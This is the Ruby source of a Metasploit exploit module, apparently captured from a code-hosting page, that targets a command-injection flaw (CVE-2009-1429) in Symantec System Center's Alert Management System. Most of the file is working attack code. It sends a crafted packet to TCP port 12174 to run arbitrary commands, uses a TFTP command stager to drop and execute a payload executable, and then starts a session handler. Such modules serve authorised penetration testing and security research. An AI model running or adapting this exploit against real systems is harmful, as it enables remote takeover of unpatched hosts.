112 lines
2.7 KiB
Ruby
112 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',
|
|
'Description' => %q{
|
|
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
|
|
because the application fails to properly sanitize user-supplied input.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-1429' ],
|
|
[ 'BID', '34671' ],
|
|
[ 'OSVDB', '54157' ],
|
|
[ 'ZDI', '09-060' ],
|
|
[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
}
|
|
]
|
|
],
|
|
'CmdStagerFlavor' => 'tftp',
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 28 2009'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(12174),
|
|
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
|
|
], self.class)
|
|
end
|
|
|
|
def windows_stager
|
|
|
|
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
|
|
|
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
|
execute_cmdstager({ :temp => '.' })
|
|
@payload_exe = payload_exe
|
|
|
|
print_status("Attempting to execute the payload...")
|
|
execute_command(@payload_exe)
|
|
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
|
|
connect
|
|
|
|
len = 2 + cmd.length
|
|
|
|
data = [0x00000000].pack('V')
|
|
data << len.chr
|
|
data << "\x00"
|
|
data << cmd + " "
|
|
data << "\x00"
|
|
|
|
sock.put(data)
|
|
|
|
res = sock.get_once
|
|
|
|
if (!res)
|
|
print_error("Did not received data. Failed?")
|
|
else
|
|
print_status("Got data, execution successful!")
|
|
end
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
if not datastore['CMD'].empty?
|
|
print_status("Executing command '#{datastore['CMD']}'")
|
|
execute_command(datastore['CMD'])
|
|
return
|
|
end
|
|
|
|
case target['Platform']
|
|
when 'win'
|
|
windows_stager
|
|
else
|
|
fail_with(Failure::Unknown, 'Target not supported.')
|
|
end
|
|
|
|
handler
|
|
|
|
end
|
|
end
|